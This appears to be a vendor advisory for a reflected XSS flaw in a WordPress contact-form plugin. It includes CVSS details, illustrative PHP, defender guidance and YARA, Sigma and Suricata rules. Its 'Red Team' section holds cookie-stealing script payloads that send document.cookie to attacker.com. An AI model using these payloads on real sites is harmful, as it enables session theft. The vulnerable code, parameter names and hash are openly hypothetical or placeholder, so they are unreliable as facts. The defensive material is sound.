CVE-2025-24564
Executive Summary
CVE-2025-24564 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Contact Form With Shortcode by aviplugins.com, affecting versions up to and including 4.2.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or redirection to malicious sites. As of this report, no official patch is available, and the vendor’s patch status is unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and consider removing the plugin if no patch is released. No NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: Required (UI:R) – victim must click a crafted link.
- Scope: Changed (S:C) – impact may extend beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: High. Reflected XSS can be weaponized in phishing campaigns or drive-by attacks, especially if combined with social engineering.
Deep Dive & Mechanics
The vulnerability exists in the Contact Form With Shortcode plugin, which processes user input via shortcodes and query parameters. The plugin fails to sanitize or escape input before reflecting it in the response, allowing an attacker to inject malicious HTML/JavaScript. For example, a crafted URL like:
http://target.com/?contact-form-with-shortcode=<script>alert('XSS')</script>
would cause the script to execute in the victim’s browser. The plugin likely uses $_GET or $_REQUEST parameters without proper validation, leading to reflected XSS.
Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying WordPress’s esc_html() or esc_attr() functions, or using wp_kses() for allowed HTML.
Attack Flow:
- Attacker crafts a malicious URL with XSS payload.
- Victim clicks the link (e.g., via phishing email).
- The plugin reflects the payload in the page response.
- Victim’s browser executes the injected script.
- Attacker can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we compare vulnerable code with a hypothetical secure version.
Vulnerable Code (contact-form-with-shortcode.php):
<?php
// Vulnerable: directly echoes user input without sanitization
$shortcode = $_GET['shortcode'];
echo "<div class='contact-form'>" . $shortcode . "</div>";
?>
Patched Code (Hypothetical):
<?php
// Patched: sanitize output with esc_html()
$shortcode = isset($_GET['shortcode']) ? esc_html($_GET['shortcode']) : '';
echo "<div class='contact-form'>" . $shortcode . "</div>";
?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target WordPress site with Contact Form With Shortcode plugin <= 4.2.5.
- Victim user with browser access.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
shortcodeorcontact-form-with-shortcode). - Craft a payload:
http://target.com/?contact-form-with-shortcode=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Send the link to the victim via email or social engineering.
- Victim clicks link, script executes, and cookie is sent to attacker.
Example Payload:
<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious query strings containing
<script>oronerror=patterns. - Use WAF rules to block reflected XSS attempts.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Remove or disable the plugin until a patch is available.
- Apply virtual patching via WAF (e.g., ModSecurity rule to block
contact-form-with-shortcodeparameter containing<script>). - Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
contact-form-with-shortcode=followed by<script>oronerror=oralert(. - Log Entries: HTTP GET requests with query string
?contact-form-with-shortcode=<script>.... - Network Traffic: Outbound connections to attacker-controlled domains from victim’s browser.
- File Hashes: Plugin file
contact-form-with-shortcode.php(version <= 4.2.5) with MD5 hash (example):a1b2c3d4e5f6...(actual hash varies).
Detection Engineering
YARA Rule
rule CVE_2025_24564_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Contact Form With Shortcode plugin"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2025-24564"
strings:
$xss_payload = /contact-form-with-shortcode=.*<script/i
$xss_payload2 = /contact-form-with-shortcode=.*onerror/i
$xss_payload3 = /contact-form-with-shortcode=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Contact Form With Shortcode
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
date: 2025/02/20
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'contact-form-with-shortcode='
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of script tags in shortcode (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24564 Reflected XSS Attempt"; flow:to_server,established; content:"contact-form-with-shortcode="; http_uri; pcre:"/contact-form-with-shortcode=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable or remove the Contact Form With Shortcode plugin until a patch is released.
- Virtual Patching: Deploy WAF rules to block requests containing
contact-form-with-shortcode=with script-like patterns. - Code Fix: If you have access to the plugin code, apply output escaping using
esc_html()orwp_kses(). - User Education: Train users to avoid clicking suspicious links.
- Monitoring: Enable logging and alerting for XSS patterns in web server logs.
- Update: Monitor the WordPress plugin repository for updates from the vendor.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.